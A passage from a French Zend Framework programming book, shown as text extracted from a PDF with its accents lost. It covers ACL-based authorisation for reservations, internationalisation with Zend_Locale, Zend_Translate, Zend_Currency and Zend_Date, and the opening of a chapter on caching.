private function _setAcls(stdClass $user) { $TReservation = new Treservation(); // rcupration de toutes les rservations $request = $TReservation->select()->from($TReservation, 'id')) $reservations = $Treservation->fetchAll($request)->toArray(); // rcupration des acl depuis la session $acl = Zend_Registry::get('session')->acl; foreach ($reservations as $reservation) { // ajout des rservations existantes dans les acl $acl->add(new Zend_Acl_Resource($reservation['id'])); } if ($user->is_admin == 1) { // ladmin a tous les droits $acl->allow('user'); } else { // rcupration des rservations dont lutilisateur est crateur $reservationsOwned = $TReservation->getByCreator($user->id); foreach ($reservationsOwned as $reservationOwned) { // autorisation daccs sur ces rservations pour cet utilisateur $acl->allow('user', $reservationOwned['id'], 'editer'); } // autorisation dajouter des rservations limite par une assertion $assert = new Zfbook_Acl_AddReservationAssertion($user->id, X $this->getInvokeArg('config')->maxreservations)); $acl->allow('user', 'reservations', 'ajouter', $assert); } }

reprsente le rsultat retourn par la mthode getResultRowObject() de ladaptateur Zend_Auth. Ensuite, nous ajoutons chacune des rservations contenues dans la base comme ressources des ACL, car chaque utilisateur aura des autorisations diffrentes sur chaque rservation. Il ne faut ainsi pas oublier, lajout ou la suppression dune rservation, de reporter laction dans les ACL, afin quelles restent jour en permanence.
$user

Dans ce code,

PERFORMANCE Dclaration pralable


Il est parfois judicieux dadopter une politique qui consiste mettre en cache la liste contenant lensemble des dclarations possibles. En dautres termes, les mthodes add() ou allow(), qui modifient les listes daccs, ne devraient pas tre appeles chaque requte. Lobjet $acl peut tre mis en cache avec lensemble des rgles. Dans notre exemple, en revanche, nous choisissons de crer dynamiquement les rgles dont on va avoir besoin pour un utilisateur donn une fois quil est identifi. Cette mthode est rapide mettre en uvre mais ncessite la cration dun jeu dACL disctinct pour lensemble des utilisateurs. Rflchissez bien la manire dont vous allez mettre en place les ACL afin dviter dy perdre en performance et en scalabilit.

Si lutilisateur est administrateur, nous lui donnons tous les droits, sinon nous lui donnons uniquement le droit ddition sur les rservations quil a cres. La mthode allow() de Zend_Acl possde la signature allow(rle, ressource, droit, assertion). Ainsi, donner des droits lutilisateur sans spcifier les arguments droit et ressource lui donne tous les droits, sur toutes les ressources. Il sagit en dautres termes dun moyen de le rendre administrateur, de manire simple et efficace.
Groupe Eyrolles, 2008

163

8 Sessions, authentification et autorisations

Zend Framework - Bien dvelopper en PHP

Enfin, le droit dajouter une rservation est limit par une assertion. Le droit nest valid que si lassertion retourne la valeur true. Voyons celle-ci :
Zfbook_Acl_AddReservationAssertion
class Zfbook_Acl_AddReservationAssertion implements Zend_Acl_Assert_Interface { private $_userId; private $_maxReservationsAllowed; public function __construct($userId, $maxReservations = 5) { $this->_userId = (int) $userId; $this->_maxReservations = (int) $maxReservations; } public function assert(Zend_Acl $acl, X Zend_Acl_Role_Interface $role = null, X Zend_Acl_Resource_Interface $resource = null, X $privilege = null) { $Tuser = new TUser(); return $Tuser->getReservationsCount($this->_userId) < $this->_maxReservationsAllowed; } }

dACL doit implmenter linterface et dfinir une mthode assert() ayant la mme signature que celle de linterface.
Zend_Acl_Assert_Interface

Toute

assertion

Notre mthode assert() parcourt la table des utilisateurs et rcupre le nombre de rservations que lutilisateur qui vient de sidentifier a dj effectues. Elle compare cette valeur au nombre maximal de rservations admises par lapplication et retourne un boolen true ou false, validant ou invalidant la rgle dACL. Aprs avoir cr les rles, les ressources et les droits liant ces deux entits, voyons maintenant comment contrler les accs. Nous avons dvelopp pour cela une classe daide daction que nous interrogeons partir dune action ncessitant des permissions. Nous lui passons une ressource et un type daccs contrler. Le seul rle tant user, il est inutile de le lui passer. Elle interroge alors les ACL et se charge de rediriger le client vers une page dinterdiction le cas chant.

164

Groupe Eyrolles, 2008

Zfbook_Controller_ActionHelper_AclCheck
class Zfbook_Controller_ActionHelpers_AclCheck extends Zend_Controller_Action_Helper_Abstract { public $acl; public function init() { $this->acl = Zend_Registry::get('session')->acl; } public function direct($reservation, $accessType = null) { //essai de lACL try { $aclResult = $this->acl->isAllowed('user', $reservation, X $accessType); } catch (Zend_Acl_Exception $e) { $aclResult = false; } if (!Zend_Auth::getInstance()->hasIdentity() || !$aclResult) { Zend_Controller_Action_HelperBroker::getStaticHelper( X 'redirector')->gotoUrlAndExit('/unauthorized'); } } }

Cette aide daction contrle non seulement lACL, mais vrifie aussi si le visiteur est authentifi, avec la mthode hasIdentity(). Pour lutiliser depuis une action, voici comment procder :
ReservationController
public function editAction() { // Rcupration des paramtres et de la rservation diter $params = $this->getRequest()->getParams(); // Vrification des droits pour cette reservation $this->_helper->aclCheck((int)$params['r'], 'editer'); // ... }

En rsum
Zend_Auth et Zend_Acl, utiliss conjointement, proposent une solution pratique et volutive pour rsoudre les problmes didentification et dautorisation. Zend_Session entre souvent en jeu pour mmoriser des informations en session et fournit alors une solution de gestion de session PHP souple, complte et efficace.

Groupe Eyrolles, 2008

165

8 Sessions, authentification et autorisations

chapitre

Groupe Eyrolles, 2008

Internationalisation

SOMMAIRE

lheure de la mondialisation, linternationalisation simpose comme un enjeu essentiel. Elle implique la gestion de nombreux dtails susceptibles de devenir de vrais casse-tte : jeux de caractres, changement de langue, gestion des monnaies, synchronisation des horloges, etc. Prvenir plutt que gurir, voil pourquoi il est essentiel de penser en amont votre internationalisation.

B Travailler en plusieurs langues B Grer les monnaies et les dates B Dtecter la langue courante
COMPOSANTS

B Zend_Locale B Zend_Translate B Zend_Currency B Zend_Date


MOTS-CLS

B currency B monnaie B traduction B gettext B langue B locale B fuseau horaire B format B encodage

Groupe Eyrolles, 2008

Zend Framework - Bien dvelopper en PHP

travers quatre composants, ce chapitre aborde les mthodes proposes par Zend Framework pour grer les fonctionnalits dinternationalisation. Nous aborderons Zend_Translate pour la gestion de plusieurs langues, Zend_Currency pour la gestion des monnaies, Zend_Date pour la gestion des dates et des heures et, enfin, Zend_Locale pour la gestion et la dtection de lenvironnement.

Avant de commencer...
Nous allons aborder dans ce chapitre tout ce qui concerne linternationalisation (ou paramtres rgionaux), cest--dire la capacit pour une application dtre compatible avec les nombreux formats de donnes et langues du monde. Connatre les diffrents moyens dont on dispose pour mettre en uvre ces fonctionnalits permet dinternationaliser une application avec plus de souplesse. Voici les notions essentielles retenir : lenvironnement, autrement dit, la locale contient les paramtres rgionaux de lapplication, avec en particulier les pays et rgions grs. Les dates, les monnaies, les pluriels des mots et bien d'autres lments sont concerns par ces informations ; la langue est le critre dinternationalisation le plus rpandu. Elle est aussi le paramtre obligatoire de la locale. Dvelopper un site multilingue est le sujet principal de ce chapitre ; les dates sont un sujet vaste qui ncessite de nombreuses oprations : conversions, changement de fuseau, heure dt/heure dhiver, changement de calendrier, etc. ; la monnaie concernera toute application manipulant de largent linternational. Il est important ici de pouvoir grer les monnaies en respectant leurs caractristiques et, ventuellement, de passer dune monnaie lautre.

T Locale

La locale est une variable spciale qui donne des renseignements sur la langue courante et ventuellement la rgion et/ou lencodage des caractres. Le systme dexploitation de votre ordinateur, le serveur HTTP et votre application peuvent avoir des locales lies ou indpendantes. Souvent, la valeur dune locale est du type <langue>[_<region>[.<charset>]]. Par exemple, en_US correspond la langue anglaise des tats-Unis et en_UK celle du Royaume Uni. Autre exemple : fr_FR.UTF-8 correspond la langue franaise parle en France et au jeu de caractres UTF-8. Faire correspondre vos paramtres rgionaux la locale est trs important dans le cadre dun dveloppement international.

Les composants Zend et leurs quivalents PHP


Souvent, les composants Zend apportent un complment une extension PHP (crite en langage C) existante, dans la mesure o celle-ci est propose dans la distribution officielle de PHP. Cela dit, il est intressant de savoir quelles extensions sous-jacentes sont utilises par les composants Zend Framework : Zend_Translate propose plusieurs mthodes de gestion des langues, dont une sous forme dextension en PHP : gettext. Nous reviendrons dessus dans la section Zend_Translate ; 168
Groupe Eyrolles, 2008

utilise les extensions de gestion de dates natives de PHP ; Zend_Currency utilise lui aussi les fonctionnalits de gestion de la locale incluses dans PHP ; Zend_Locale propose la localisation, comme le fait la fonction PHP setlocale(), si ce nest que lexcution de celle-ci nest pas entirement scurise dans un contexte de traitement multithread, alors que Zend_Locale lest. Zend_Locale est utilis par tous les composants qui permettent linternationalisation (cest--dire tous les composants cits ci-dessus).
Zend_Date

Attention aux jeux de caractres


La gestion des jeux de caractres peut devenir un vrai casse-tte : compatibilit avec les extensions existantes, paramtrage des jeux de la base de donnes, problmes lis aux conversions qui ne sont pas toujours bijectives. Il est trs important dhomogniser les jeux de caractres utiliss dans vos dveloppements, lidal tant de nen utiliser quun seul, qui soit potentiellement compatible avec tous les pays. De nos jours, cest le choix du jeu de caractres UTF-8 qui simpose.

ATTENTION UTF-8
Utiliser UTF-8 sur une application impose souvent de lutiliser partout : tous les fichiers sources doivent tre encods en UTF-8, les informations en base de donnes doivent tre en UTF-8, ainsi que le lien entre PHP et le SGBD. Aussi la rponse HTTP doit-elle signifier au client une lecture UTF-8. De manire gnrale, tout texte affich doit tre encod en UTF-8, quelle que soit sa provenance.

Zend_Locale : socle de base de linternationalisation


Tout composant dinternationalisation de Zend Framework utilise Zend_Locale, que vous layez configur ou non. Lutilisation de Zend_Locale est simple.

Figure 91

Diagramme de classes de Zend_Locale

Une locale se dfinit par un code comportant plusieurs parties : la langue (obligatoire) ;

Groupe Eyrolles, 2008

169

9 Internationalisation

Zend Framework - Bien dvelopper en PHP

la rgion (ou pays facultatif ) ; lencodage. Par exemple, la France utilisera fr_FR, mais la Belgique, pays dans lequel le franais est largement parl, sera identifie par fr_BE. Tout identifiant de locale invalide sera converti dans la locale par dfaut. La locale par dfaut est dfinie par ordre de prfrence : par les en-ttes HTTP du navigateur client ; par la locale mentionne par le serveur HTTP. La locale va ensuite tre utilise par tous les composants Zend Framework concerns par linternationalisation. Afin de pouvoir la partager, il est judicieux de la stocker dans le registre Zend_Registry, sous une cl particulire laquelle Zend Framework va pouvoir ragir.
Dfinition de la locale dans le bootstrap : index.php
// locale par dfaut : navigateur utilis, sinon machine hte $locale = new Zend_Locale(); // partage de la locale actuelle pour tous les composants // lutilisant Zend_Registry::set('Zend_Locale', $locale);

REMARQUE Locale unique


Dans la plupart des cas, une seule instance de Zend_Locale sera ncessaire, car lapplication nutilisera quune et une seule locale. De plus, le constructeur de Zend_Locale laiss vide permet dutiliser les paramtres du navigateur du client, ce qui est encore mieux dans une trs grande majorit des cas. Un utilisateur verra ainsi un site affich dans sa langue immdiatement, ds sa connexion.

Zend_Translate : grer plusieurs langues


Avec Zend_Translate, il sera possible dintgrer votre application plusieurs langues et de grer le changement de manire explicite (avec un bouton ou toute autre action utilisateur) ou implicite (via la dtection de la langue par le navigateur).

Figure 92

Diagramme de classes de Zend_Translate

170

Groupe Eyrolles, 2008

Pourquoi utiliser Zend_Translate ?


apporte plusieurs avantages par rapport aux solutions classiques de gestion des langues : il fournit une interface commune quel que soit ladaptateur utilis ; il gre plusieurs types de formats de stockage (un par adaptateur), dont gettext, TMX, PHP, CSV... ; Zend_Translate est entirement stable et scuris en environnement multithread, contraitement lextension gettext ; la langue de lutilisateur et les sources de donnes peuvent tre automatiquement dtectes.
Zend_Translate

Les adaptateurs
Plusieurs adaptateurs peuvent tre utiliss avec Zend_Translate : les tableaux PHP (*.php) : utilisation simple pour les petites applications ; CSV (*.csv) : fichiers texte que lon peut diter dans un tableur. Ce systme est simple et rapide, attention cependant aux problmes Unicode ventuels ; gettext (*.mo/*.po) : fichiers binaires, norme utilise sous Unix ; ils sont trs rapides, scuriss et utiliss le plus souvent avec lutilitaire PoEdit ; TBX (*.tbx) : fichiers dchange TermBase, un standard industriel au format XML ; TMX (*.tmx) Translation Memory eXchange : un format XML facile lire ; QT (*.qt) : fichier Qt Linguist, format XML ditable ; XLIFF (*.xliff) XML Localization Interchange File Format : un format XML plus facile lire encore que TMX ; XMLTM (*.xml) XML-based Text Memory : un format ouvert qui exploite la syntaxe des espaces de noms XML. En plus de ceux prsents ci-dessus, il est encore possible de crer son propre adaptateur ou dutiliser une table de traduction dans la base de donnes. Quel adaptateur utiliser ? Cela va dpendre de vos besoins. La figure 9-3 propose une carte simplifie des caractristiques lies ces diffrentes solutions.

URL Formats de stockage


La liste et la description des formats de stockage standards pour linternationalisation est publie par lorganisme LISA (Localization Industry Standards Association). Il peut tre utile de consulter ce site Internet pour faire un choix judicieux : B http://www.lisa.org

Groupe Eyrolles, 2008

171

9 Internationalisation

Zend Framework - Bien dvelopper en PHP

Figure 93

Carte des adaptateurs Zend_Translate

PRATIQUE diter du gettext avec PoEdit


Gettext est un format compil largement utilis par les applications Unix/Linux. Il existe un utilitaire trs pratique pour diter ces fichiers : PoEdit. Celui-ci peut tre tlcharg gratuitement : B http://sourceforge.net/projects/poedit/

Les adaptateurs les plus courants sont gettext pour son efficacit, CSV pour sa simplicit et TMX, qui est un format XML facile diter. Les autres adaptateurs devraient tre utiliss soit si la technologie est dj en place, soit dans le cadre dapplications spcifiques.

Exemple simple dutilisation


Voici un exemple simple de traduction avec le format CSV, en utilisant Zend_Translate. Commenons dabord par crer nos fichiers de langue :
Fichier french.csv
Bonjour;Salut

Le franais tant notre langue par dfaut, nous faisons trs peu de dclarations (traduction de franais franais...). Le point-virgule est un sparateur : il suit la chane originale et prcde la chane traduite. Si une chane nest pas mentionne, elle nest pas traduite. Voici le mme fichier pour les traductions en anglais :
Fichier english.csv
Bonjour;Hello Exemple de traduction;Translation example

172

Groupe Eyrolles, 2008

Tous les fichiers de traduction comportent des couples comprenant une chane de caractres dorigine (telle qucrite dans le code) et une chane de caractres correspondant la traduction, ici spares par un ; . Passons maintenant au code PHP, qui tient compte de laffichage de la langue.
Fichier examples/zend_translate.php
<?php // Dclaration de lobjet translate $translate = new Zend_Translate('csv', './french.csv', 'fr'); // Ajout dun fichier de langue $translate->addTranslation('./english.csv', 'en'); // Enregistrement explicite de la langue courante $translate->setLocale('en'); // Utilisation de Zend_Translate dans le code echo '<h1>' . $translate->_('Bonjour') . '</h1>'; echo '<p>' . $translate->_('Exemple de traduction') . '</p>'; echo '<p>' . $translate->_('Texte pas traduit') . '</p>';

Ce code minimaliste traduit le texte affich lcran dans la langue choisie. Nous commenons par dclarer un objet de traduction $translate, en prcisant le format utilis (csv), le fichier de traduction principal (french.csv) et sa langue (fr). Cet objet sera utilis pour paramtrer la langue courante et pour saisir du texte. La mthode addTranslation() permet dajouter un fichier de traduction. Il prend en paramtres le fichier et la langue quil reprsente. Il est possible dutiliser une mthode setLocale() pour prciser quelle est la langue courante. Cette fonctionnalit doit tre employe lorsque lutilisateur souhaite slectionner une langue de manire explicite (lien apparent sur le site). Enfin, les mthodes spciales _() ou translate() sont utilises pour dclarer un texte sujet traduction. La mthode _() est volontairement de courte taille car elle est souvent utilise. La premire ligne (texte Bonjour) comporte une traduction dans les deux fichiers (french.csv, english.csv). La deuxime ligne est traduite en anglais uniquement et la troisime ligne ne fait rfrence aucun fichier. Lorsquun texte na pas de rfrence, il nest tout simplement pas traduit.

Groupe Eyrolles, 2008

173

9 Internationalisation

Zend Framework - Bien dvelopper en PHP

Exemple de changement dadaptateur


Lun des avantages de Zend_Translate est que vous pouvez changer dadaptateur avec un minimum doprations. Nous allons ici remplacer la traduction CSV par une traduction TMX. Avec TMX, il est possible dinclure toutes les traductions dans un seul fichier. Voici quoi ressemble le fichier de traduction avec TMX :
Fichier de traduction translations.tmx
<?xml version="1.0" ?> <!DOCTYPE tmx SYSTEM "tmx14.dtd"> <tmx version="1.4"> <header creationtoolversion="1.0.0" datatype="winres" segtype="sentence" adminlang="fr-fr" srclang="fr-fr" o-tmf="abc" creationtool="XYZTool" /> <body> <tu tuid='Bonjour'> <tuv xml:lang="fr"><seg>Bienvenue</seg></tuv> <tuv xml:lang="es"><seg>Buenos dias</seg></tuv> <tuv xml:lang="en"><seg>Hello</seg></tuv> </tu> <tu tuid='Exemple de traduction'> <tuv xml:lang="en"><seg>Traduction example</seg></tuv> </tu> </body> </tmx>

T DTD

La DTD (Document Type Definition) est un fichier qui dcrit prcisment les balises et les attributs utiliser dans un fichier XML, ainsi que lordre dans lequel il est autoris les assembler. Dans le cas de TMX, la DTD oblige avoir une balise racine tmx, une balise header unique qui suit tmx, une balise body qui comporte telle et telle autre balise, etc. Quelques informations sur les DTD : B http://en.wikipedia.org/wiki/ Document_Type_Definition

TMX est un format XML, il doit donc respecter une DTD prcise, comme le montre lexemple prcdent. Chaque lment de traduction est prcis dans une balise XML body/tu. Lattribut tuid correspond au texte mentionn dans le code et les traductions sont inscrites dans des balises tuv dont la langue est prcise avec lattribut xml:lang. Reprenons lexemple prcdent et remplaons la traduction CSV par du TMX.
Fichier zend_translate_tmx.php
<?php // Dclaration de lobjet translate $translate = new Zend_Translate('tmx', './translations.tmx', 'fr'); // Enregistrement explicite de la langue courante $translate->setLocale('fr');

174

Groupe Eyrolles, 2008

Seule la dclaration de lobjet $translate change, en prcisant le nom du protocole et du fichier de traduction. Nous navons plus besoin dutiliser addTranslation() car toutes les langues sont gres dans un seul fichier. Pour lexemple, nous avons ajout une langue es correspondant la version espagnole du texte traduire.

Internationalisation avance
Nous allons intgrer ici Zend_Translate notre projet Zend Framework, en utilisant ladaptateur gettext, qui est le plus rapide et le plus fiable du moment. Il est important dans un premier temps de respecter certaines rgles darchitecture.

Rgles darchitecture
Cette section concerne la mise en place de la structure des sources de traduction, ce qui revient dfinir lemplacement o mettre les fichiers dont nous aurons besoin. Pour cela, il est avant tout important de se poser deux questions : les fichiers de traduction concernent-ils une ou plusieurs applications ? quel adaptateur allons-nous utiliser ? Si vos traductions sont multi-applications, nous allons crer un dossier languages la racine du framework (au mme niveau que application, html, library, etc.). Sil sagit de fichiers spcifiques une application, nous devons crer un dossier application/languages. Lorganisation des sources dans le dossier languages reste assez souple, vous de choisir la solution la plus judicieuse. Dans notre cas, nous allons utiliser ladaptateur gettext. Celui-ci propose par dfaut une structure de rpertoires complexe, que nous allons simplifier.
Structure des rpertoires pour une utilisation de gettext
/application /languages lang_fr.mo lang_en.mo lang_sp.mo /library /html

CONSEIL Choisir une structure


La section Utiliser les adaptateurs de traduction de la documentation officielle du Zend Framework prsente diverses structures de rpertoires en prcisant leurs avantages et inconvnients. Vous devriez y jeter un il avant deffectuer un choix dfinitif.

Il est important de respecter le nom des fichiers, notamment la structure lang_<abrev_lang>.mo, de manire ce que limplmentation gettext de Zend Framework dtecte automatiquement les fichiers de langue.
Groupe Eyrolles, 2008

175

9 Internationalisation

Zend Framework - Bien dvelopper en PHP

Mettre en place ladaptateur gettext


Ladaptateur gettext se met en place de la mme manire que tmx ou csv, comme nous venons de le voir prcdemment. Nous allons y ajouter une petite variante : la dtection automatique des fichiers de langue. Voici comment nous devons dclarer ladaptateur bootstrap :
Dclaration de la gestion des langues dans le bootstrap
// Dclaration de lobjet Zend_Translate $translate = new Zend_Translate('gettext', X $appPath . '/languages', X null, X array('scan' => Zend_Translate::LOCALE_FILENAME) ); // Dtection de la locale $langLocale = isset($session->lang) ? $session->lang : $locale; // Passage de la locale en cours Zend_Translate $translate->setLocale($langLocale); // Passage de linstance de lobjet cache Zend_Translate $translate->setCache($cacheInstance); // Ajout de lobjet dans le registre Zend_Registry::set('Zend_Translate', $translate); // Passage de lobjet translate divers composants Zend_Validate_Abstract::setDefaultTranslator($translate); Zend_Form::setDefaultTranslator($translate); gettext

dans le

La dclaration de la langue dans le bootstrap commence par la cration dun objet Zend_Translate. Celui-ci est ensuite configur avec une locale par dfaut via lappel de setLocale(), valeur extraite si possible de la session. Ensuite, lappel de setCache() injecte un objet de cache dans lobjet Zend_Translate, qui se dbrouillera pour lutiliser bon escient afin doptimiser les performances. Les dernires actions consistent enregistrer lobjet $translate dans le registre et comme objet de langue par dfaut de divers composants.

Mettre en place les chanes traduire


RENVOI Aides de vue
Les aides de vue sont abordes au chapitre 7.

Une fois que la dclaration est faite dans le bootstrap, il suffit de faire appel la mthode translate() de lobjet de vue chaque fois quune chane de caractres est affiche. Cette mthode chargera une aide de vue du mme nom.

176

Groupe Eyrolles, 2008

Chane de caractres dans un contrleur


// Dans un contrleur $title = $this->view->translate("Bienvenue");

Chane de caractres dans une vue


<!-- dans views/scripts/common/footer.phtml --> <?php echo $this->translate("&copy; 2008 notre socit"); ?>

Crer les fichiers de traduction gettext (*.mo)


Jusquici, notre traduction ne fonctionne pas et gnre une exception. Cette exception ne sera pas leve tant que les fichiers de traduction seront absents. Il est recommand dditer les fichiers gettext avec loutil PoEdit. Nous verrons quil sera mme possible de dtecter automatiquement les nouvelles chanes de caractres traduire en effectuant un parcours du code PHP de lapplication. Crer les fichiers *.mo avec PoEdit Les fichiers *.mo sont des fichiers compils. La version non compile est un fichier *.po. Lditeur PoEdit permet dditer les fichiers *.po et de gnrer les fichiers *.mo correspondants. Pour crer un fichier *.po/*.mo, nous commenons par ouvrir lditeur PoEdit et diter la configuration. La figure 9-4 donne un exemple de configuration pour un fichier de langue anglaise.

RAPPEL Tlcharger PoEdit


PoEdit est tlchargeable ladresse ci-dessous : B http://www.poedit.net

Figure 94

Configuration dun fichier de langue dans PoEdit

Groupe Eyrolles, 2008

177

9 Internationalisation

Zend Framework - Bien dvelopper en PHP

Une fois longlet Info Projet rempli, ajoutez le chemin vers le dossier application dans Chemins (champs Chemin de base ET Chemins), puis le mot-cl translate dans Mots cls. Sans cela, le parseur de code permettant de dtecter automatiquement les chanes traduire ne fonctionnerait pas. Enregistrez ensuite le fichier dans application/languages/ lang_en.po. Le fichier *.mo correspondant est automatiquement cr. Il reste ensuite effectuer lanalyse syntaxique (parsing) du code. Pour cela, il faut faire une dernire manipulation dans la configuration : dans Fichier>Prfrences, onglet Analyseur, ajoutez lextension *.phtml aux fichiers PHP. Cela permettra de traiter aussi les fichiers de vue qui comportent potentiellement un grand nombre de chanes de caractres. Enfin, nous pouvons lancer lanalyse dans Catalogue>Mise jour depuis les sources. Une fois celle-ci termine, un cran saffiche avec les nouvelles chanes traduire (figure 9-5).

Figure 95

Recherche automatique des chanes traduire

Modifier la langue
Le changement de langue consiste simplement en une affectation explicite du paramtre lang de la session. Nous allons mettre en place un systme qui met jour la langue la vole.
IndexController::languageAction()
/** * Mise jour de la langue par dfaut */ public function languageAction() { $request = $this->getRequest(); $params = $request->getParams();

178

Groupe Eyrolles, 2008

if (isset($params['lang']) && in_array($params['lang'], array('fr', 'en'))) { Zend_Registry::get('session')->lang = $params['lang']; } $this->_helper->redirectorToOrigin(); }

Laction languageAction() change ici le paramtre langue de la session. Cette action peut tre appele par un lien depuis une vue, par exemple, dans le pied de page. Leffet du changement de langue est ainsi immdiat.
Vue views/scripts/common/footer.phtml
<a href="<?php echo $this->link('index', 'language', null, array('lang'=>'en'));?>">english</a> | <a href="<?php echo $this->link('index', 'language', null, array('lang'=>'fr'));?>">franais</a>

RENVOI Aides daction


Les appels $this->_helper>redirectorToOrigin() dans le contrleur et $this->link() dans la vue sont des aides daction et des aides de vue. Ils permettent de factoriser les traitements courants et de simplifier leur utilisation. Pour plus dinformation concernant leur implmentation, rendez-vous aux chapitres 6 et 7.

Un simple clic sur lun des liens English ou French change la langue courante.

Zend_Currency : gestion des monnaies


Zend_Currency

est un petit composant dont nous allons faire une prsentation rapide et pratique. Ce composant nest pas utilis dans lapplication exemple.

Pourquoi utiliser Zend_Currency ?


Ce composant sert manipuler les monnaies et les paramtres rgionaux. Ceux-ci peuvent tre lis la locale courante, donc la langue courante. Zend_Currency est fluide et permet un paramtrage prcis.

Affichage des monnaies


Avec Zend_Currency, il est possible de formater les nombres selon la monnaie de la locale courante ou en spcifiant une monnaie et une rgion. Voici quelques exemples qui effectuent ces affichages :
Affichages formats avec Zend_Currency
// Chargement dun objet currency $currency = new Zend_Currency();

Groupe Eyrolles, 2008

179

9 Internationalisation

Zend Framework - Bien dvelopper en PHP

// Affichage dun chiffre format selon la monnaie courante // Affiche : 1 000,00 echo $currency->toCurrency(1000); // Affichage dun chiffre format selon la monnaie en_US // Affiche : 1,000.00 echo $currency->toCurrency(1000, array('format' => 'en_US')); // Affichage dun chiffre reprsentant des dollars // Affiche : $ 1,000.00 $currency = new Zend_Currency('en_US', 'USD'); echo $currency->toCurrency(1000); // Modification du formatage (retrait des dcimales) $currency->setFormat(array('precision' => 0)); echo $currency->toCurrency(1000);

Informations sur les monnaies


Zend_Currency

permet galement de rcuprer des informations sur les monnaies. Lexemple suivant illustre les possibilits actuelles.

PERFORMANCE Zend_Currency
lheure o nous crivons ces lignes, Zend_Currency savre un composant gourmand limpact non ngligeable sur les performances. Il est recommand de lutiliser paralllement Zend_Cache.

Rcupration dinformations sur les monnaies


// Informations sur echo 'Symbole : ' echo 'Nom court : ' echo 'Nom long : ' la monnaie courante . $currency->getSymbol() . "\n"; . $currency->getShortName() . "\n"; . $currency->getName() . "\n";

// Liste des rgions pour lesquelles la monnaie // est utilise. var_dump($currency->getRegionList()); // Liste des monnaies de la locale (rgion) courante var_dump($currency->getCurrencyList());

Zend_Date : gestion de la date et de lheure


est un composant complet qui sert manipuler des dates. Il complte et tend les fonctionnalits de dates proposes nativement par PHP.
Zend_Date

Pourquoi utiliser Zend_Date ?


Figure 96

Diagramme de classes de Zend_Date

Voici des exemples simples qui illustrent les possibilits de Zend_Date. Ceux-ci montrent non seulement les fonctionnalits nouvelles proposes
Groupe Eyrolles, 2008

180

par Zend_Date, mais aussi une autre manire dutiliser les fonctionnalits existantes de PHP. Zend_Date permet de calculer des dates virtuellement infinies, et nest pas limit par le timestamp Unix (01/01/1970). Pour commencer, il est primordial de spcifier le fuseau horaire par dfaut. Celui-ci peut tre inscrit dans le fichier de configuration php.ini ou explicit dans le code avec la fonction PHP date_default_timezone_set().
Slection du fuseau horaire par dfaut
date_default_timezone_set('Europe/Paris');

T Timestamp

Le timestamp est un nombre exprim en secondes (depuis le 1/1/1970) qui reprsente une date.

CULTURE Fuseaux horaires


Toute date est obligatoirement rattache un fuseau horaire (timezone, en anglais). la cration dune date Zend_Date, le fuseau horaire par dfaut de PHP lui sera affect. Si ce fuseau change ensuite, cela ninfluencera pas Zend_Date, qui propose une isolation. Tous les calculs sur les dates prendront en compte le fuseau horaire : ainsi des heures vont sajouter ou se supprimer, lorsque la date changera de fuseau. Le dcalage entre heure dt et heure dhiver (DST Daylight Saving Time) est aussi pris en compte de manire automatique.

Voici avant tout quelques oprations de base : affichage de dates, affectations et comparaisons simples.
Oprations basiques
// Cration de lobjet Zend_Date $date = new Zend_Date(); // Affichage par dfaut de la date courante echo $date . "\n"; // Affectation et affichage dune date $date->set('13:00:00', Zend_Date::TIMES); echo $date->get(Zend_Date::W3C) . "\n"; // Avant ou aprs 30 minutes dans lheure courante ? echo $date->compare(30, Zend_Date::MINUTE) == -1 ? "Avant 30 minutes\n" : "Aprs 30 minutes\n"; // Est-il 22 heures ? if ($date->equals(22, Zend_Date::HOUR)) { print "Il est 22 heures.\n"; } else { print "Il nest pas 22 heures.\n"; }

Voici ensuite quelques oprations de formatage de dates avec Zend_Date.


Formater une date
// Affichage de la date courante avec un formatage // correspondant une locale dtermine $date = new Zend_Date(null, null, 'en_US'); echo $date . "\n"; // Mme chose avec une date explicite $date = new Zend_Date('Feb 31, 2007', Zend_Date::DATES, 'fr_FR'); echo $date . "\n";

Groupe Eyrolles, 2008

181

9 Internationalisation

Zend Framework - Bien dvelopper en PHP

Dans ces exemples, par dfaut, cest la locale courante qui est utilise si aucune locale nest mentionne (troisime argument du constructeur de Zend_Date).
Rcupration dinformations
// Mthodes de comparaison (hors equals) var_dump($date->isEarlier($date2)); var_dump($date->isLater($date2)); var_dump($date->isToday()); var_dump($date->isTomorrow()); var_dump($date->isYesterday()); var_dump($date->isLeapYear()); var_dump($date->isDate($date2)); // Mthodes doutput var_dump($date->toString()); var_dump($date->toArray()); var_dump($date->toValue());

PRCISION Localisation et dates


Zend_Date formatera la date en utilisant la locale par dfaut dfinie dans le registre, sauf si on passe explicitement un objet Zend_Locale en troisime paramtre des mthodes de formatage.

Ces mthodes permettent de rcuprer des informations sur la date de lobjet Zend_Date $date.

En rsum
Quatre composants sont directement concerns par linternationalisation. Ceux-ci permettent le dveloppement dapplications multilingues, compatibles avec les paramtres rgionaux du visiteur. Zend_Locale dtermine et manipule la locale par dfaut, cest--dire la langue, la zone gographique et dans une moindre mesure le jeu de caractres. Zend_Translate est spcialis dans la traduction automatique. Il peut sadapter en technologie de fond de nombreux existants tels que gettext, TMX, etc. Zend_Currency gre la monnaie conformment la locale courante. Zend_Date permet la manipulation avance des dates et sadapte lui aussi aux paramtres rgionaux en place.

182

Groupe Eyrolles, 2008

chapitre

10

Groupe Eyrolles, 2008

Performances

SOMMAIRE

B Utiliser la mmoire RAM pour

Les performances sont aussi bnfiques pour le confort de navigation de vos visiteurs que pour la maintenance dun environnement fort trafic. La mise en place dune gestion de cache est un bon moyen dconomiser des ressources machines, mme si cela ne doit pas se substituer la qualit du dveloppement.

amliorer les performances

B Mettre en place une stratgie


de gestion de cache COMPOSANTS

B Zend_Cache B Zend_Memory
MOTS-CLS

B cache B mmoire B APC B lock B persistance B ressources

Groupe Eyrolles, 2008

Zend Framework - Bien dvelopper en PHP

Zend_Cache et Zend_Memory sont deux composants qui permettent la mise en cache des donnes. Ce chapitre aborde quelques rappels thoriques sur la dfinition et le rle du cache, suivis de lutilisation pratique de Zend_Cache et Zend_Memory.

Ce chapitre traite doutils permettant doptimiser les performances de lapplication lexcution. Ces composants nont aucun apport fonctionnel ; ils sajoutent un existant qui fonctionne dj, dans le but dacclrer la vitesse dexcution. Parmi les mthodes mises en uvre, nous traiterons largement la partie mise en cache, et dans une moindre mesure le composant Zend_Memory.Enfin seront abords des conseils de maintenance pour amliorer les performances globales du framework.

Quest-ce que la gestion de cache ?


Pourquoi utiliser un cache ?
